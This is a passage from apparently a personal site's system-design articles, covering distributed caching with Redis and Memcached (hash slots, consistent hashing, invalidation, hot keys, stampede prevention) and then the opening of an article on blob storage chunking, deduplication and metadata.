2. **Memory-bound workloads**: Redis operations are memory-bound, not CPU-bound. A single core saturates memory bandwidth before CPU becomes the bottleneck.

3. **Predictable latency**: No lock contention means consistent tail latencies. P99 latency is stable under load.

4. **Simplified implementation**: No race conditions, no deadlocks, no complex concurrency bugs.

**Performance:** Redis achieves 1.5M SET ops/sec and 1.3M GET ops/sec on commodity hardware. The event loop uses epoll (Linux) or kqueue (BSD) for I/O multiplexing—handling thousands of concurrent connections efficiently.

**Recent evolution (Redis 8.0):** Optional I/O threading offloads socket read/write/parsing to worker threads while the main thread still handles all command execution. Throughput improves 37-112% on multi-core systems without sacrificing the single-threaded execution model.

### Redis Cluster: Hash Slots

Redis Cluster partitions keys across nodes using **16,384 hash slots**.

**Routing algorithm:**

```
slot = CRC16(key) mod 16384
```

Each node owns a subset of slots. Clients cache the slot-to-node mapping and route requests directly.

**Why 16,384 slots?**

- Enough granularity for rebalancing (move individual slots)
- Small enough for efficient heartbeat messages (2KB bitmap)
- Sweet spot between flexibility and overhead

**Scaling mechanics:**

- Add node: Migrate slots from existing nodes
- Remove node: Migrate slots to remaining nodes
- Resharding: Move slots without downtime (clients redirect during migration)

**Limitations:**

- Multi-key operations (MGET, MSET) only work if all keys hash to the same slot
- Use hash tags `{user:123}:profile` and `{user:123}:settings` to colocate related keys
- Cross-slot transactions require CLUSTER commands

**Real-world:** Twitter uses Redis Cluster for home timelines. Keys are user IDs; all timeline data for a user hashes to the same slot. Cluster scales to hundreds of nodes across multiple data centers.

### Redis Sentinel: High Availability Without Sharding

Redis Sentinel provides automatic failover for single-master deployments.

**Architecture:**

- 3+ Sentinel processes monitor Redis master
- Quorum agreement required to trigger failover
- Sentinels elect new master from replicas
- Clients discover master via Sentinel

**When to use Sentinel vs. Cluster:**

| Aspect               | Sentinel                 | Cluster                      |
| -------------------- | ------------------------ | ---------------------------- |
| Scaling              | Vertical only            | Horizontal (auto-sharding)   |
| Data size            | Single-node limit        | Terabytes+                   |
| Operational overhead | Low                      | Medium-High                  |
| Failover             | Sentinel-coordinated     | Cluster-coordinated          |
| Multi-key ops        | All supported            | Same-slot only               |
| Use case             | HA for small-medium data | Large-scale distributed data |

**Design reasoning:** Sentinel is simpler to operate when your dataset fits on one machine. Cluster adds complexity that only pays off at scale. Start with Sentinel; migrate to Cluster when you hit single-node limits.

## Memcached Architecture

### Multi-Threaded Slab Allocator

Memcached uses a fundamentally different threading model than Redis.

**Slab allocator design:**

1. Memory pre-allocated in 1MB pages (slabs)
2. Each slab divided into fixed-size chunks (slab classes)
3. Items stored in the smallest chunk that fits
4. LRU eviction per slab class

**Why slabs?**

- **No fragmentation**: Fixed-size chunks eliminate heap fragmentation from malloc/free cycles
- **Predictable memory usage**: Memory capped at startup; no unexpected growth
- **Fast allocation**: O(1) chunk allocation from free list

**Trade-off:** Items waste space (rounded up to chunk size). A 100-byte item in a 128-byte chunk wastes 28 bytes. Tune slab sizes for your workload.

**Threading model:**

- Single acceptor thread handles new connections
- Worker thread pool processes requests
- Fine-grained locking per slab class
- Scales linearly with cores (unlike Redis)

**When Memcached beats Redis:**

- Simple key-value workloads (no data structures)
- Multi-core machines (Memcached scales better)
- Memory efficiency critical (slab allocator is more predictable)
- No persistence requirements

### Client-Side Consistent Hashing

Memcached servers have no cluster awareness. Clients implement consistent hashing.

**Ketama algorithm** (standard implementation):

1. Hash each server to multiple points on a ring (virtual nodes)
2. Hash each key to a point on the ring
3. Walk clockwise to find the owning server
4. Virtual nodes (100-200 per server) ensure even distribution

**Why client-side?**

- No inter-server communication (servers are stateless)
- Simpler server implementation (just a hash table)
- Client libraries handle topology changes

**Trade-off:** Server addition/removal requires client coordination. Misconfigured clients see different key distributions. Use a service mesh or consistent client configuration.

## Consistent Hashing Deep Dive

### The Problem with Modulo Hashing

Naive approach: `server = hash(key) mod N`

When N changes (server added/removed), most keys remap to different servers. Adding one server to a 10-server cluster remaps ~90% of keys—causing a cache stampede.

### Consistent Hashing (Karger et al., 1997)

**Core insight:** Map both keys and servers to a circular hash space. Keys belong to the first server encountered clockwise.

**Properties:**

- Adding/removing a server only affects keys in one range
- On average, `K/N` keys remap (K = total keys, N = servers)
- Adding one server to 10 servers remaps only ~10% of keys

**Virtual nodes solve uneven distribution:**

Without virtual nodes, servers can have 50%+ load variance due to hash clustering. With 100-200 virtual nodes per server:

- Each physical server maps to 100-200 points on the ring
- Load variance drops to <5%
- Heterogeneous hardware can have proportional virtual nodes

**Real-world:** Discord uses consistent hashing with 1000 virtual nodes per physical server. After node failures, load variance stays under 5%, preventing cascading overloads.

### Jump Consistent Hash (Google, 2014)

**Innovation:** O(1) memory, near-perfect distribution.

**Algorithm (5 lines):**

```cpp
int32_t JumpConsistentHash(uint64_t key, int32_t num_buckets) {
    int64_t b = -1, j = 0;
    while (j < num_buckets) {
        b = j;
        key = key * 2862933555777941757ULL + 1;
        j = (b + 1) * (double(1LL << 31) / double((key >> 33) + 1));
    }
    return b;
}
```

**Properties:**

- Zero memory for ring/virtual nodes
- Standard deviation: 0.00000000764 (essentially perfect distribution)
- When adding bucket N+1, each existing bucket transfers exactly `1/(N+1)` of its keys

**Limitation:** Buckets must be numbered 0 to N-1. Removing bucket K requires renumbering. Better for stable topologies (e.g., sharded databases) than dynamic cache clusters.

### Redis Hash Slots vs. Consistent Hashing

| Aspect            | Consistent Hashing | Hash Slots (Redis)       |
| ----------------- | ------------------ | ------------------------ |
| Granularity       | Continuous ring    | 16,384 discrete slots    |
| Rebalancing       | Key-by-key         | Slot-by-slot             |
| Metadata size     | O(virtual nodes)   | Fixed 2KB bitmap         |
| Implementation    | Client library     | Cluster protocol         |
| Partial migration | Not native         | Native (MIGRATING slots) |

**Design reasoning:** Hash slots simplify cluster coordination. Instead of agreeing on ring positions, nodes agree on slot ownership. Slot migration is atomic—clients redirect mid-migration without losing requests.

## Cache Invalidation Strategies

### The Invalidation Problem

> "There are only two hard things in Computer Science: cache invalidation and naming things." —Phil Karlton

Cache invalidation is hard because distributed systems have no global clock. When data changes in the database, caches across multiple nodes must be updated—but network delays mean some nodes see the change before others.

### Strategy 1: Time-To-Live (TTL)

**Mechanism:** Every cache entry has an expiration time. After TTL, the entry is evicted or refreshed.

**Staleness bound:** Maximum staleness = TTL. If TTL is 60 seconds, cached data is at most 60 seconds stale.

**Best when:**

- Eventual consistency acceptable
- Data changes infrequently
- Simplicity preferred over freshness

**Pitfall—Synchronized expiration:**

If 10,000 keys set with the same TTL at the same time, they all expire simultaneously—causing a cache stampede. Always add jitter:

```python
actual_ttl = base_ttl + random.uniform(0, jitter_seconds)
```

### Strategy 2: Explicit Invalidation (Cache-Aside)

**Mechanism:** Application manages cache lifecycle. On read miss, populate from database. On write, invalidate cache entry.

**Pattern:**

```
Read:
  1. Check cache
  2. On miss: query DB, populate cache
  3. Return data

Write:
  1. Write to database
  2. Delete cache entry (NOT update)
```

**Why delete, not update?**

Race condition: Concurrent requests can leave cache inconsistent.

```
T1: Read DB (old value)
T2: Write DB (new value)
T2: Update cache (new value)
T1: Update cache (old value)  ← Cache now has stale data
```

Delete avoids this—next read fetches fresh data.

**Facebook's Memcache paper** formalized this as "look-aside" caching. Delete on write; let reads repopulate. Leases prevent thundering herd (only first request fetches; others wait).

### Strategy 3: Write-Through

**Mechanism:** Application writes to cache. Cache synchronously writes to database before acknowledging.

**Guarantee:** Cache and database always consistent (within transaction).

**Trade-off:** Write latency = max(cache_latency, db_latency). Every write blocks on database round-trip.

**Best when:**

- Strong consistency required
- Write volume is low
- Can tolerate higher write latency

### Strategy 4: Write-Behind (Write-Back)

**Mechanism:** Application writes to cache. Cache asynchronously flushes to database in background.

**Trade-off:**

- ✅ Ultra-fast writes (memory speed only)
- ❌ Durability risk: cache failure before flush = data loss
- ❌ Read-after-write may see stale data (race with async flush)

**Best when:**

- Write performance critical
- Data loss acceptable (metrics, analytics, non-critical logs)
- Background flush latency is acceptable

**Real-world:** Analytics pipelines often use write-behind. Losing a few data points is acceptable; sub-millisecond write latency is not negotiable.

### Strategy 5: Event-Driven Invalidation

**Mechanism:** Database emits change events (CDC—Change Data Capture). Cache subscribes and invalidates affected entries.

**Architecture:**

```
DB Write → CDC Stream (Kafka, Debezium) → Cache Invalidation Service → Cache Delete
```

**Advantages:**

- Decoupled: Database doesn't know about cache
- Reliable: Events persisted in stream (retry on failure)
- Multi-cache: Single event invalidates all cache tiers

**Latency:** Invalidation delay = CDC lag + processing time. Typically 100ms-1s. Not suitable for strong consistency requirements.

**Real-world:** LinkedIn uses Espresso (their database) with a change capture stream to invalidate distributed caches. Staleness bounded by stream lag.

## Hot Key Mitigation

### The Hot Key Problem

A single key receiving disproportionate traffic overwhelms one cache node. Examples:

- Celebrity tweet goes viral (millions of reads on one key)
- Flash sale product page (everyone viewing same item)
- Breaking news article (global traffic spike)

Consistent hashing makes this worse—all requests for a key go to one node, regardless of cluster size.

### Solution 1: Request Coalescing (Single-Flight)

**Mechanism:** Multiple simultaneous requests for the same key collapse into one database query. Others wait and share the result.

**Implementation:**

```go
var group singleflight.Group

func Get(key string) (Value, error) {
    v, err, _ := group.Do(key, func() (interface{}, error) {
        return fetchFromDB(key)  // Only called once per key
    })
    return v.(Value), err
}
```

**Effect:** 10,000 simultaneous requests = 1 database query + 9,999 waiters.

**Trade-off:** First request's latency is shared by all waiters. If database is slow, all requests block.

### Solution 2: Local Cache Tier (L1)

**Mechanism:** Replicate hot keys to per-instance L1 caches. Reads served locally; no network hop.

**Architecture:**

```
App Instance → L1 (local, 100MB, 5s TTL) → L2 (Redis cluster) → DB
```

**Trade-off:** L1 caches are eventually consistent. Updates propagate via TTL expiration or pub/sub invalidation.

**Real-world:** Discord serves guild metadata from L1 caches with 5-second TTL. 99% of reads hit L1; only 1% reach Redis.

### Solution 3: Key Replication

**Mechanism:** Detect hot keys (via monitoring) and replicate to multiple cache nodes. Clients round-robin across replicas.

**Hot key detection:**

- Client-side: Track request rates per key
- Server-side: Redis HOTKEYS command (approximation via LFU)
- Offline: Analyze access logs, identify keys above threshold

**Trade-off:** Replication increases memory usage. Invalidation must reach all replicas.

### Solution 4: Key Splitting (Sharding Within Key)

**Mechanism:** Split one logical key into multiple physical keys. Distribute across nodes.

```
Original:  product:12345
Split:     product:12345:0, product:12345:1, product:12345:2
```

Client randomly selects a suffix, distributing load across nodes.

**Trade-off:** Writes must update all shards. Read consistency requires quorum or sticky routing.

**Best for:** Read-heavy, write-rare data (product catalog, configuration).

### Solution 5: Probabilistic Early Recomputation

**Mechanism:** Before TTL expires, probabilistically refresh the cache entry. Probability increases as expiration approaches.

**Algorithm (XFetch):**

```python
def should_recompute(expiry_time, delta, beta=1.0):
    now = time.time()
    ttl_remaining = expiry_time - now
    random_factor = random.random()
    return ttl_remaining - (delta * beta * math.log(random_factor)) <= 0
```

**Effect:** Refreshes spread across time window, preventing synchronized expiration stampede.

## Cache Stampede Prevention

### The Thundering Herd Problem

When a popular cache entry expires, thousands of requests simultaneously:

1. Find cache miss
2. Query database
3. Try to populate cache
4. Database drowns in identical queries

### Solution 1: Distributed Locks

**Mechanism:** First request acquires lock, fetches data, populates cache. Others wait on lock or return stale data.

```python
def get_with_lock(key):
    value = cache.get(key)
    if value is not None:
        return value

    lock_key = f"lock:{key}"
    if cache.setnx(lock_key, "1", ex=5):  # Acquired lock
        try:
            value = fetch_from_db(key)
            cache.set(key, value, ex=300)
            return value
        finally:
            cache.delete(lock_key)
    else:
        # Wait and retry
        time.sleep(0.1)
        return get_with_lock(key)
```

**Trade-off:** Lock contention under extreme load. Lock holder failure causes delays (mitigate with TTL on lock).

### Solution 2: Stale-While-Revalidate

**Mechanism:** Serve stale data immediately. Trigger background refresh.

```
Response: Stale data (fast)
Background: Fetch fresh data, update cache
Next request: Fresh data
```

**Trade-off:** Clients may see stale data. Acceptable for non-critical reads.

**HTTP analogy:** `Cache-Control: stale-while-revalidate` enables this at CDN layer.

### Solution 3: Leases (Facebook's Approach)

**Mechanism:** On cache miss, cache issues a "lease" (token). Only lease holder can populate cache. Others wait or get "hot miss" response.

From Facebook's Memcache paper:

1. Client requests key, gets miss + lease token
2. Client fetches from database
3. Client sets value with lease token
4. If token expired or revoked, set fails (prevents stale write)

**Properties:**

- Prevents thundering herd (one fetcher per key)
- Prevents stale sets (lease expires if too slow)
- Handles delete races (delete revokes leases)

### Solution 4: Gutter Servers

**Mechanism:** Secondary cache tier absorbs traffic when primary fails or during stampede.

```
Primary cache miss → Gutter cache → Database
```

**Facebook's design:** Gutter servers have short TTL (seconds). They don't replace primary cache—they absorb temporary overload while primary recovers.

**Trade-off:** Additional infrastructure. Gutter data is ephemeral and potentially stale.

## Real-World Case Studies

### Facebook/Meta: Memcache at Billion-Request Scale

**Scale:** 1+ billion cache operations per second.

**Architecture:**

- Look-aside cache (application manages reads/writes)
- Hundreds of Memcached servers per cluster
- Multiple clusters per region, multiple regions globally
- mcrouter for routing and connection pooling

**Key innovations:**

1. **Leases:** Prevent thundering herd and stale writes
2. **Gutter servers:** Absorb traffic during failures
3. **Regional pools:** Hot data replicated across regions
4. **Delete streams:** Cross-region invalidation via async message queue

**Performance insight:** 44% of page loads contact 20+ Memcached servers. Popular pages touch 100+ servers. mcrouter batches requests to reduce network overhead.

**Failure handling:** When a Memcached server fails, clients redirect to gutter. Gutter has 60-second TTL—long enough to absorb traffic, short enough to limit staleness.

### Uber: CacheFront at 150M Reads/Second

**Scale:** 150M+ reads/second with 99.9% hit rate.

**Architecture:**

- Redis clusters partitioned by entity ID
- Partition scheme independent of database sharding
- Sliding window circuit breaker per cache node

**Design decisions:**

1. **Entity-based partitioning:** Keys partitioned by business entity (user, ride, etc.), not database shard key. Allows cache layer to evolve independently.

2. **Circuit breaker:** Monitors error rates per cache node. Opens circuit (stops requests) if error rate exceeds threshold. Requests fall through to database.

3. **Integrated cache:** Cache layer embedded in Uber's Docstore (their database abstraction). Developers don't manage cache directly.

**Result:** Scaled from 40M to 150M reads/second without adding database capacity. Cache absorbs read load; database handles writes.

### Discord: Per-Instance Caching for Guild Metadata

**Problem:** Guild metadata (server info, channel lists) accessed on every message. Redis round-trip added 10ms to every operation.

**Solution:**

- L1 cache per application instance (Rust, in-memory)
- 5-second TTL (accepting staleness)
- L2 Redis cluster as fallback

**Result:**

- 99% cache hit rate at L1
- P99 latency dropped from 12ms to 0.5ms for guild lookups
- Redis load reduced by 99x

**Trade-off accepted:** Guild metadata may be 5 seconds stale. For non-critical data (member count, channel order), this is acceptable. Critical data (permissions) bypasses cache.

### Twitter/X: Timeline Caching with Redis

**Scale:** 320M packets/second aggregate.

**Architecture:**

- Redis Cluster for home timelines
- Haplo (custom) for tweet timeline cache
- Per-region cache hierarchy

**Design decisions:**

1. **Timeline-optimized data structure:** Sorted sets store tweet IDs by timestamp. ZRANGEBYSCORE fetches timeline slice in one operation.

2. **Write fanout:** When a tweet is posted, write to all follower timelines (fanout-on-write). Reads are O(1)—just fetch timeline.

3. **Hybrid approach:** High-follower accounts use fanout-on-read (don't write to millions of timelines).

**Trade-off:** Write amplification for fanout-on-write. Acceptable because reads vastly outnumber writes.

## Common Pitfalls

### Pitfall 1: Caching Without TTL

**The mistake:** Setting cache entries without expiration.

**Why it happens:** "We'll invalidate explicitly on writes."

**The consequence:** Bugs in invalidation logic leave stale data forever. No safety net.

**The fix:** Always set TTL, even with explicit invalidation. TTL is your fallback—maximum staleness bound.

### Pitfall 2: Cache-Database Race Conditions

**The mistake:** Update cache, then update database (or vice versa without careful ordering).

**Why it happens:** Assuming single-threaded execution in a concurrent system.

**The consequence:**

```
T1: Delete cache
T2: Read cache (miss)
T2: Read database (old value)
T1: Write database (new value)
T2: Write cache (old value)  ← Stale forever (until TTL)
```

**The fix:** Delete cache after database write. Or use explicit versioning (cache entry includes version; reject stale writes).

### Pitfall 3: Ignoring Serialization Costs

**The mistake:** Caching large objects without considering serialization overhead.

**Why it happens:** Measuring only network latency, not total operation time.

**The consequence:** 1ms network latency + 10ms JSON serialization = 11ms total. Cache appears slow.

**The fix:** Profile total operation time. Use efficient serialization (Protobuf, MessagePack). Cache already-serialized bytes when possible.

### Pitfall 4: Hot Key Blindness

**The mistake:** Assuming consistent hashing distributes load evenly.

**Why it happens:** Works in testing with uniform key distribution.

**The consequence:** Production traffic has Zipf distribution (few keys dominate). Hot keys overwhelm individual nodes.

**The fix:** Monitor key-level metrics. Implement hot key detection. Use L1 caching, key replication, or request coalescing proactively.

### Pitfall 5: Missing Cache During Database Migrations

**The mistake:** Invalidating cache before database migration completes.

**Why it happens:** Invalidation logic triggers on schema change.

**The consequence:** Cache misses flood to database mid-migration. Database overloaded; migration fails.

**The fix:** Warm cache before cutover. Use blue-green deployment for cache layer. Gradual traffic shift with monitoring.

## Conclusion

Distributed cache design requires explicit trade-offs between consistency, availability, and complexity. Key principles:

1. **Choose topology for your scale**: Start simple (single Redis with Sentinel), evolve to cluster when single-node limits hit
2. **Layer caches**: L1 (embedded, microseconds) + L2 (distributed, milliseconds) reduces load and latency
3. **Always set TTL**: The safety net for invalidation bugs
4. **Plan for hot keys**: They will happen. Request coalescing, L1 caching, and key replication are your tools
5. **Measure staleness**: Know your consistency bounds and make them explicit to application developers

The best cache is the one you don't notice—until it fails. Design for graceful degradation: circuit breakers, gutter servers, and fallback to database.

## Appendix

### Prerequisites

- Understanding of hash functions and modular arithmetic
- Familiarity with CAP theorem and distributed systems fundamentals
- Basic knowledge of Redis/Memcached operations

### Summary

- **Cache topologies** range from embedded (fastest, per-instance) to distributed clusters (scalable, fault-tolerant). Most production systems use hybrid L1+L2 architectures.
- **Consistent hashing** minimizes key remapping during topology changes. Virtual nodes ensure even distribution; jump consistent hash offers O(1) memory alternative.
- **Invalidation strategies** trade staleness for simplicity. TTL is the baseline; explicit invalidation provides freshness; event-driven approaches decouple systems.
- **Hot keys** break even distribution. Mitigate with request coalescing, local caching, key replication, or sharding within keys.
- **Stampede prevention** requires proactive design: locks, leases, stale-while-revalidate, or probabilistic early refresh.

### References

- [Karger, D., et al. "Consistent Hashing and Random Trees: Distributed Caching Protocols for Relieving Hot Spots on the World Wide Web." ACM Symposium on Theory of Computing, 1997](https://www.cs.princeton.edu/courses/archive/fall09/cos518/papers/chash.pdf)
- [Lamping, J. & Veach, E. "A Fast, Minimal Memory, Consistent Hash Algorithm." arXiv:1406.2294, 2014](https://arxiv.org/abs/1406.2294)
- [Nishtala, R., et al. "Scaling Memcache at Facebook." USENIX NSDI, 2013](https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf)
- [Redis Cluster Specification](https://redis.io/docs/latest/operate/oss_and_stack/reference/cluster-spec/)
- [Redis Sentinel Documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/sentinel/)
- [Memcached Protocol](https://github.com/memcached/memcached/blob/master/doc/protocol.txt)
- [Uber Engineering: How Uber Serves Over 150 Million Reads/Second](https://www.uber.com/blog/how-uber-serves-over-150-million-reads/)
- [Discord Engineering: How Discord Stores Billions of Messages](https://discord.com/blog/how-discord-stores-billions-of-messages)
- [Twitter Engineering: The Infrastructure Behind Twitter Scale](https://blog.x.com/engineering/en_us/topics/infrastructure/2017/the-infrastructure-behind-twitter-scale)

---

## Blob Storage Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/blob-storage-design
**Category:** System Design / System Design Building Blocks
**Description:** Designing scalable object storage systems requires understanding the fundamental trade-offs between storage efficiency, durability, and access performance. This article covers the core building blocks—chunking, deduplication, metadata management, redundancy, and tiered storage—with design reasoning for each architectural choice.

# Blob Storage Design

Designing scalable object storage systems requires understanding the fundamental trade-offs between storage efficiency, durability, and access performance. This article covers the core building blocks—chunking, deduplication, metadata management, redundancy, and tiered storage—with design reasoning for each architectural choice.

<figure>

![Blob storage architecture: clients interact through an API gateway; metadata and deduplication index are managed separately from the data layer, which uses erasure coding across distributed storage nodes.](./blob-storage-architecture-clients-interact-through-an-api-gateway-metadata-and-d.svg)

<figcaption>Blob storage architecture: clients interact through an API gateway; metadata and deduplication index are managed separately from the data layer, which uses erasure coding across distributed storage nodes.</figcaption>
</figure>

## Abstract

Blob storage trades complexity for scale by treating large files as collections of immutable chunks. The core design decisions are:

- **Chunking**: Fixed-size (simple, fast) vs. content-defined (CDC, better deduplication)—determines deduplication effectiveness and CPU overhead
- **Deduplication**: File-level (low overhead, coarse) vs. block-level (high dedup ratio, memory-intensive)—determines storage efficiency and index memory requirements
- **Metadata separation**: Decoupling metadata from data enables independent scaling—metadata needs high IOPS, data needs high throughput
- **Redundancy**: 3-way replication (3× overhead, simple) vs. erasure coding (1.2-1.5× overhead, CPU cost)—determines storage cost and repair bandwidth
- **Tiering**: Hot/warm/cold/archive tiers optimize cost for access patterns—determines retrieval latency and storage cost

The fundamental trade-off: **storage overhead vs. durability vs. access latency**. Higher durability requires more redundancy (storage cost). Faster access requires keeping data on high-performance media (cost). Design for the access pattern—most data is write-once, read-rarely.

## Object Storage Fundamentals

### Object vs. Block vs. File Storage

| Characteristic   | Object Storage                         | Block Storage                     | File Storage                           |
| ---------------- | -------------------------------------- | --------------------------------- | -------------------------------------- |
| **Data model**   | Objects (key → binary data + metadata) | Fixed-size blocks with unique IDs | Hierarchical files and directories     |
| **Access**       | REST API (HTTP)                        | iSCSI / Fibre Channel             | NFS / SMB                              |
| **Namespace**    | Flat (bucket + key)                    | Volume + block address            | Directory tree                         |
| **Best for**     | Unstructured data, backups, media      | Databases, VMs, transactional     | Shared filesystems, content management |
| **Latency**      | Milliseconds                           | Sub-millisecond                   | Milliseconds                           |
| **Scalability**  | Exabytes                               | Petabytes                         | Petabytes                              |
| **Modification** | Replace entire object                  | In-place block update             | In-place file update                   |

**Design reasoning:** Object storage chose a flat namespace and immutable objects specifically to simplify distribution. Without directory hierarchies, there's no need to maintain tree consistency across nodes. Without in-place updates, writes are append-only—eliminating write conflicts and enabling aggressive caching.

### The Object Model

An object consists of:

1. **Key**: Unique identifier within a bucket (e.g., `photos/2024/vacation.jpg`)
2. **Data**: Binary content (bytes to terabytes)
3. **Metadata**: System metadata (size, ETag, timestamps) + custom key-value pairs
4. **Version ID**: Optional, for versioned buckets

**Flat namespace illusion:** Keys like `photos/2024/vacation.jpg` are not directory paths—they're opaque strings. The `/` delimiter is a convention; listing operations with `prefix=photos/` and `delimiter=/` simulate directory listing, but no directory structure exists.

**Bucket model:** Buckets provide namespace isolation and policy boundaries (access control, lifecycle rules, versioning). A single storage system may support trillions of objects across millions of buckets.

**Real-world scale:** AWS S3 stores 500+ trillion objects across hundreds of exabytes, serving 200 million requests/second at peak.

## Chunking Strategies

### Design Choices

#### Fixed-Size Chunking

**How it works:** Split files into equal-sized chunks at fixed byte boundaries. Each chunk assigned a content hash (SHA-256) as its identifier.

**Best when:**

- Simple implementation required
- File modifications are rare (write-once workloads)
- CPU overhead must be minimized
- Sequential access patterns dominate

**Trade-offs:**

- ✅ Deterministic boundaries—identical files produce identical chunks
- ✅ Low CPU overhead (no content analysis)
- ✅ Predictable chunk counts for capacity planning
- ❌ Poor deduplication on modified files (insertion shifts all subsequent boundaries)
- ❌ Chunk size forces trade-off between metadata overhead and dedup granularity

**Real-world example:** GFS used 64 MB chunks. This large size reduces metadata overhead (64 bytes per 64 MB chunk) and client-master interactions. The trade-off: 64 MB is too large for small files, leading to internal fragmentation.

**Chunk size trade-offs:**

| Chunk Size   | Metadata Overhead | Dedup Potential | Network Efficiency                | Use Case        |
| ------------ | ----------------- | --------------- | --------------------------------- | --------------- |
| 4 KB         | Very high         | Maximum         | Poor (high overhead per transfer) | Databases       |
| 64 KB - 1 MB | Moderate          | High            | Good                              | General purpose |
| 4-8 MB       | Low               | Moderate        | Optimal for large files           | Backups, media  |
| 64 MB        | Very low          | Low             | Best throughput                   | Analytics, logs |

#### Content-Defined Chunking (CDC)

**How it works:** Use a rolling hash function to identify chunk boundaries based on content patterns. When the hash matches a predefined pattern (e.g., low N bits are zero), declare a chunk boundary.

**Best when:**

- Deduplication is critical (backup systems, versioned storage)
- Files are frequently modified
- Storage cost savings justify CPU overhead
- Similar files are stored (code repositories, documents)

**Trade-offs:**

- ✅ Insertions/deletions only affect neighboring chunks (boundaries shift minimally)
- ✅ 10× better deduplication than fixed-size on modified files
- ✅ Natural chunk size distribution matches content structure
- ❌ Higher CPU overhead (rolling hash computation)
- ❌ Variable chunk sizes complicate capacity planning
- ❌ More complex implementation

**CDC Algorithms:**

| Algorithm            | Speed     | Dedup Ratio | Implementation               |
| -------------------- | --------- | ----------- | ---------------------------- |
| Rabin Fingerprinting | Baseline  | Best        | Polynomial division, complex |
| Gear-based           | 2× Rabin  | Near-Rabin  | Bit operations, simpler      |
| FastCDC              | 10× Rabin | Near-Rabin  | Optimized hash judgment      |

**FastCDC innovations (USENIX ATC 2016):**

1. **Simplified hash judgment:** Faster pattern matching than Rabin
2. **Skip minimum chunk boundaries:** Avoid tiny chunks (minimum size enforced)
3. **Normalized chunk distribution:** Avoid extreme sizes (target average with bounds)

Result: 10× faster than Rabin-based CDC with near-identical deduplication ratios.

**Real-world example:** Dropbox evolved from 4 MB fixed chunks to CDC for better deduplication. When users edit a document, only changed sections create new chunks—reducing upload bandwidth and storage consumption.

### Chunk Size Selection

**Network considerations:**

- TCP buffer sizes range 4 KB to 4 MB (Linux default: 85 KB)
- Below 4 KB: Minimal benefit from smaller chunks
- 4-8 MB: Optimal for keeping network buffers utilized

**Storage considerations:**

- IDE drives: Optimal bandwidth at 4 MB chunks
- SCSI/SAS drives: Optimal at 8 MB chunks
- NVMe: Smaller chunks viable (low random read penalty)

**IOPS vs. throughput trade-off:**

- Larger chunks: Higher throughput, fewer IOPS, higher per-operation latency
- Smaller chunks: Lower throughput, more IOPS, lower per-operation latency

**Recommendation:** 4-8 MB for general blob storage, 64-128 KB for dedup-heavy workloads, 64 MB for append-only analytics data.

## Deduplication

### Design Choices

#### File-Level Deduplication

**How it works:** Hash the entire file. If hash matches existing file, store only a reference. No new data written.

**Best when:**

- Identical file copies are common (email attachments, shared documents)
- Memory is constrained (index size = O(file count))
- Processing overhead must be minimal

**Trade-offs:**

- ✅ Low memory footprint (one entry per file)
- ✅ Simple implementation
- ✅ Fast (single hash per file)
- ❌ Cannot deduplicate within files
- ❌ Any modification creates a new file (no dedup benefit)
- ❌ Coarse granularity limits savings

#### Block-Level Deduplication

**How it works:** Hash each chunk. If chunk hash matches existing chunk, store only a reference. Different files can share common chunks.

**Best when:**

- Similar files are stored (VMs, containers, backups)
- Maximizing deduplication ratio is critical
- Memory/storage for dedup index is available
- Content-defined chunking is used

**Trade-offs:**

- ✅ Maximum deduplication (sub-file granularity)
- ✅ Handles partial file changes well
- ✅ Cross-file deduplication
- ❌ High memory requirements (one entry per chunk)
- ❌ More complex reference management
- ❌ Higher CPU overhead

**Memory requirements comparison:**

For 1 PB data with 8 KB average chunks:

- Block-level: ~125 billion chunks × 48 bytes/entry ≈ 6 TB index
- File-level (1 KB avg file): ~1 trillion files × 48 bytes/entry ≈ 48 TB index
- File-level (1 MB avg file): ~1 billion files × 48 bytes/entry ≈ 48 GB index

Block-level wins when chunk count < file count (large files), loses when files are small.

#### Inline vs. Post-Process Deduplication

**Inline deduplication:**

- Check for duplicates during write
- Prevents redundant data from ever being stored
- Higher write latency (hash + lookup on hot path)
- Immediate storage savings

**Post-process deduplication:**

- Write data immediately, deduplicate later
- Lower write latency
- Temporary storage overhead
- Background processing load

**Design reasoning:** High-throughput ingestion systems prefer post-process (minimize write latency). Storage-constrained systems prefer inline (maximize savings immediately).

### Deduplication Index Design

**Challenge:** The dedup index must be fast (in-memory for inline) but stores billions of entries.

**Bloom filter optimization:**

Bloom filters are space-efficient probabilistic structures that answer "is this chunk possibly new?" with:

- False positives: May incorrectly indicate "exists" → unnecessary disk lookup
- False negatives: Never → guarantees new chunks are detected

**Index tiering:**

1. **Hot index (RAM):** Recently accessed/written chunks
2. **Warm index (SSD):** Less frequent chunks
3. **Cold index (HDD):** Archival lookup

Bloom filter in RAM filters 99%+ of lookups before hitting disk.

**Real-world:** ZFS uses 256-bit cryptographic checksums as block signatures. The pool-wide Deduplication Table (DDT) maps checksums to block locations. When a block's checksum matches an existing entry, ZFS increments the reference count and skips the write.

## Metadata Management

### Why Separate Metadata?

Data and metadata have fundamentally different access patterns:

| Characteristic         | Metadata                 | Data                         |
| ---------------------- | ------------------------ | ---------------------------- |
| **Access pattern**     | Random, high IOPS        | Sequential, high throughput  |
| **Size per operation** | Bytes to kilobytes       | Kilobytes to megabytes       |
| **Consistency**        | Strong (must be correct) | Eventually consistent (okay) |
| **Update frequency**   | High (listings, stats)   | Low (write-once)             |
| **Scaling dimension**  | IOPS                     | Bandwidth                    |

Separating them enables independent optimization and scaling.

### Architecture Patterns

#### Single Metadata Master (GFS Model)

**How it works:** One master node holds entire namespace in memory. Clients contact master for metadata, then access data nodes directly.

**GFS specifications:**

- Entire namespace in RAM (compact representation)
- 64 bytes metadata per 64 MB chunk → 4 GB RAM supports petabytes
- Two persistence files: FsImage (checkpoint) + EditLog (journal)
- On startup: merge FsImage + EditLog to reconstruct state

**Trade-offs:**

- ✅ Simple consistency (single source of truth)
- ✅ Fast lookups (in-memory)
- ✅ Low operational complexity
- ❌ Single point of failure (mitigated by shadow masters)
- ❌ Memory-bound scaling limit
- ❌ Master becomes bottleneck at extreme scale

**Limitation discovered:** GFS master couldn't scale beyond ~100 million files. File count, not storage size, was the bottleneck.

#### Distributed Metadata (Colossus/Azure Model)

**How it works:** Metadata stored in a distributed database (e.g., BigTable, Azure partition layer). Multiple metadata servers handle requests.

**Colossus (Google's GFS successor):**

- Metadata stored in BigTable (Google's distributed database)
- Curators handle metadata operations
- Custodians manage data recovery
